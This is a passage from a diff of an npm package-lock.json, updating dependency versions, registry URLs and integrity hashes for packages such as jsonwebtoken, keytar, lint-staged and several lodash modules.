"integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", + "dev": true + }, "inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", "dev": true, "requires": { "once": "^1.3.0", @@ -5411,13 +17033,19 @@ "inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" }, "ini": { "version": "1.3.8", "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true, + "optional": true + }, + "ip-address": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.0.1.tgz", + "integrity": "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA==", "dev": true }, "is-binary-path": { @@ -5429,31 +17057,63 @@ "binary-extensions": "^2.0.0" } }, + "is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true + }, "is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=" }, "is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==" }, "is-glob": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, "requires": { "is-extglob": "^2.1.1" } }, + "is-interactive": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-2.0.0.tgz", + "integrity": "sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==", + "dev": true + }, + "is-lambda": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", + "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==", + "dev": true + }, + "is-natural-number": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-natural-number/-/is-natural-number-4.0.1.tgz", + "integrity": "sha512-Y4LTamMe0DDQIIAlaer9eKebAlDSV6huy+TWhJVPlzZh2o4tRP5SQWFlLn5N0To4mDD22/qdOq+veo1cSISLgQ==", + "dev": true + }, "is-number": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==" + }, + "is-path-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-3.0.0.tgz", + "integrity": "sha512-kyiNFFLU0Ampr6SDZitD/DwUo4Zs1nSdnygUBqsu3LooL00Qvb5j+UnvApUn/TTj1J3OuE6BTdQ5rudKmU2ZaA==", + "dev": true + }, + "is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", "dev": true }, "is-plain-obj": { @@ -5462,22 +17122,100 @@ "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", "dev": true }, + "is-promise": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz", + "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==", + "dev": true + }, + "is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==", + "dev": true + }, "is-unicode-supported": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", "dev": true }, + "is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, + "requires": { + "is-docker": "^2.0.0" + } + }, "isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==" }, "isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" + }, + "istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "dev": true + }, + "istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "requires": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + } + }, + "istanbul-reports": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", + "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", + "dev": true, + "requires": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + } + }, + "istextorbinary": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/istextorbinary/-/istextorbinary-9.5.0.tgz", + "integrity": "sha512-5mbUj3SiZXCuRf9fT3ibzbSSEWiy63gFfksmGfdOzujPjW3k+z8WvIBxcJHBoQNlaZaiyB25deviif2+osLmLw==", + "dev": true, + "requires": { + "binaryextensions": "^6.11.0", + "editions": "^6.21.0", + "textextensions": "^6.11.0" + } + }, + "jackspeak": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.0.tgz", + "integrity": "sha512-JVYhQnN59LVPFCEcVa2C3CrEKYacvjRfqIQl+h8oi91aLYQVWRYbxjPcv1bUiUy/kLmQaANrYfNMCO3kuEDHfw==", + "requires": { + "@isaacs/cliui": "^8.0.2", + "@pkgjs/parseargs": "^0.11.0" + } + }, + "javascript-natural-sort": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/javascript-natural-sort/-/javascript-natural-sort-0.7.1.tgz", + "integrity": "sha512-nO6jcEfZWQXDhOiBtG2KvKyEptz7RVbpGP4vTD2hLBdmNQSsCiicO2Ioinv6UI4y9ukqnBpy+XZ9H6uLNgJTlw==", + "dev": true + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", "dev": true }, "js-yaml": { @@ -5489,6 +17227,12 @@ "argparse": "^2.0.1" } }, + "jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "dev": true + }, "json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", @@ -5501,16 +17245,132 @@ "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", "dev": true }, + "json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true + }, + "jsonc-parser": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.2.0.tgz", + "integrity": "sha512-gfFQZrcTc8CnKXp6Y4/CBT3fTc0OVuDofpre4aEeEpSBPV5X5v4+Vmx+8snU7RLPrNHPKSgLxGo9YuQzz20o+w==", + "dev": true + }, + "jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.6", + "universalify": "^2.0.0" + } + }, + "jsonwebtoken": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.2.tgz", + "integrity": "sha512-PRp66vJ865SSqOlgqS8hujT5U4AOgMfhrwYIuIhfKaoSCZcirrmASQr8CX7cUg+RMih+hgznrjp99o+W4pJLHQ==", + "dev": true, + "requires": { + "jws": "^3.2.2", + "lodash.includes": "^4.3.0", + "lodash.isboolean": "^3.0.3", + "lodash.isinteger": "^4.0.4", + "lodash.isnumber": "^3.0.3", + "lodash.isplainobject": "^4.0.6", + "lodash.isstring": "^4.0.1", + "lodash.once": "^4.0.0", + "ms": "^2.1.1", + "semver": "^7.5.4" + }, + "dependencies": { + "jwa": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz", + "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==", + "dev": true, + "requires": { + "buffer-equal-constant-time": "1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "jws": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz", + "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==", + "dev": true, + "requires": { + "jwa": "^1.4.1", + "safe-buffer": "^5.0.1" + } + } + } + }, + "jszip": { + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz", + "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==", + "dev": true, + "requires": { + "lie": "~3.3.0", + "pako": "~1.0.2", + "readable-stream": "~2.3.6", + "setimmediate": "^1.0.5" + } + }, + "jwa": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.0.tgz", + "integrity": "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA==", + "dev": true, + "requires": { + "buffer-equal-constant-time": "1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "jws": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.0.tgz", + "integrity": "sha512-KDncfTmOZoOMTFG4mBlG0qUIOlc03fmzH+ru6RgYVZhPkyiy/92Owlt/8UEN+a4TXR1FQetfIpJE8ApdvdVxTg==", + "dev": true, + "requires": { + "jwa": "^2.0.0", + "safe-buffer": "^5.0.1" + } + }, "keytar": { - "version": "7.7.0", - "resolved": "https://registry.npmjs.org/keytar/-/keytar-7.7.0.tgz", - "integrity": "sha512-YEY9HWqThQc5q5xbXbRwsZTh2PJ36OSYRjSv3NN2xf5s5dpLTjEZnC2YikR29OaVybf9nQ0dJ/80i40RS97t/A==", + "version": "7.9.0", + "resolved": "https://registry.npmjs.org/keytar/-/keytar-7.9.0.tgz", + "integrity": "sha512-VPD8mtVtm5JNtA2AErl6Chp06JBfy7diFQ7TQQhdpWOl6MrCRB+eRbvAZUsbGQS9kiMq0coJsy0W0vHpDCkWsQ==", "dev": true, + "optional": true, + "requires": { + "node-addon-api": "^4.3.0", + "prebuild-install": "^7.0.1" + } + }, + "kuler": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/kuler/-/kuler-2.0.0.tgz", + "integrity": "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A==", + "dev": true + }, + "lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", "requires": { - "node-addon-api": "^3.0.0", - "prebuild-install": "^6.0.0" + "readable-stream": "^2.0.5" } }, + "lcov-parse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lcov-parse/-/lcov-parse-1.0.0.tgz", + "integrity": "sha512-aprLII/vPzuQvYZnDRU78Fns9I2Ag3gi4Ipga/hxnVMCZC8DnR2nI7XBqrPoywGfxqIx/DgarGvDJZAD3YBTgQ==" + }, "leven": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", @@ -5527,95 +17387,428 @@ "type-check": "~0.4.0" } }, - "linkify-it": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-3.0.3.tgz", - "integrity": "sha512-ynTsyrFSdE5oZ/O9GEf00kPngmOfVwazR5GKDq6EYfhlpFug3J2zybX56a2PRRpc9P+FuSoGNAwjlbDs9jJBPQ==", + "lie": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", + "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", + "dev": true, + "requires": { + "immediate": "~3.0.5" + } + }, + "linkify-it": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-5.0.0.tgz", + "integrity": "sha512-5aHCbzQRADcdP+ATqnDuhhJ/MRIqDkZX5pyjFHRRysS8vZ5AbqGEoFIb6pYHPZ+L/OC2Lc+xT8uHVVR5CAK/wQ==", + "dev": true, + "requires": { + "uc.micro": "^2.0.0" + } + }, + "lint-staged": { + "version": "16.2.6", + "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-16.2.6.tgz", + "integrity": "sha512-s1gphtDbV4bmW1eylXpVMk2u7is7YsrLl8hzrtvC70h4ByhcMLZFY01Fx05ZUDNuv1H8HO4E+e2zgejV1jVwNw==", + "dev": true, + "requires": { + "commander": "^14.0.1", + "listr2": "^9.0.5", + "micromatch": "^4.0.8", + "nano-spawn": "^2.0.0", + "pidtree": "^0.6.0", + "string-argv": "^0.3.2", + "yaml": "^2.8.1" + }, + "dependencies": { + "commander": { + "version": "14.0.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.1.tgz", + "integrity": "sha512-2JkV3gUZUVrbNA+1sjBOYLsMZ5cEEl8GTFP2a4AVz5hvasAMCQ1D2l2le/cX+pV4N6ZU17zjUahLpIXRrnWL8A==", + "dev": true + } + } + }, + "listr2": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/listr2/-/listr2-9.0.5.tgz", + "integrity": "sha512-ME4Fb83LgEgwNw96RKNvKV4VTLuXfoKudAmm2lP8Kk87KaMK0/Xrx/aAkMWmT8mDb+3MlFDspfbCs7adjRxA2g==", + "dev": true, + "requires": { + "cli-truncate": "^5.0.0", + "colorette": "^2.0.20", + "eventemitter3": "^5.0.1", + "log-update": "^6.1.0", + "rfdc": "^1.4.1", + "wrap-ansi": "^9.0.0" + } + }, + "locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "requires": { + "p-locate": "^5.0.0" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "lodash-es": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", + "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==", + "dev": true + }, + "lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "dev": true + }, + "lodash.get": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", + "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==", + "dev": true + }, + "lodash.includes": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", + "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==", + "dev": true + }, + "lodash.isboolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", + "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==", + "dev": true + }, + "lodash.isinteger": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", + "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==", + "dev": true + }, + "lodash.isnumber": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", + "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==", + "dev": true + }, + "lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "dev": true + }, + "lodash.isstring": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", + "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==", + "dev": true + }, + "lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "lodash.once": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", + "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", + "dev": true + }, + "lodash.throttle": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", + "integrity": "sha512-wIkUCfVKpVsWo3JSZlc+8MB5it+2AN5W8J7YVMST30UrvcQNZ1Okbj+rbVniijTWE6FGYy4XJq/rHkas8qJMLQ==", + "dev": true + }, + "lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==", + "dev": true + }, + "log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "requires": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + } + }, + "log-update": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/log-update/-/log-update-6.1.0.tgz", + "integrity": "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w==", + "dev": true, + "requires": { + "ansi-escapes": "^7.0.0", + "cli-cursor": "^5.0.0", + "slice-ansi": "^7.1.0", + "strip-ansi": "^7.1.0", + "wrap-ansi": "^9.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true + }, + "ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", + "dev": true, + "requires": { + "get-east-asian-width": "^1.3.1" + } + }, + "slice-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", + "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", + "dev": true, + "requires": { + "ansi-styles": "^6.2.1", + "is-fullwidth-code-point": "^5.0.0" + } + }, + "strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "requires": { + "ansi-regex": "^6.0.1" + } + } + } + }, + "logform": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/logform/-/logform-2.7.0.tgz", + "integrity": "sha512-TFYA4jnP7PVbmlBIfhlSe+WKxs9dklXMTEGcBCIvLhE/Tn3H6Gk1norupVW7m5Cnd4bLcr08AytbyV/xj7f/kQ==", "dev": true, "requires": { - "uc.micro": "^1.0.1" + "@colors/colors": "1.6.0", + "@types/triple-beam": "^1.3.2", + "fecha": "^4.2.0", + "ms": "^2.1.1", + "safe-stable-stringify": "^2.3.1", + "triple-beam": "^1.3.0" } }, - "listenercount": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/listenercount/-/listenercount-1.0.1.tgz", - "integrity": "sha1-hMinKrWcRyUyFIDJdeZQg0LnCTc=", - "dev": true - }, - "locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "loupe": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.7.tgz", + "integrity": "sha512-zSMINGVYkdpYSOBmLi0D1Uo7JU9nVdQKrHxC8eYlV+9YKK9WePqAlL7lSlorG/U2Fw1w0hTBmaa/jrQ3UbPHtA==", "dev": true, "requires": { - "p-locate": "^5.0.0" + "get-func-name": "^2.0.1" } }, - "lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true - }, - "log-symbols": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", - "integrity": 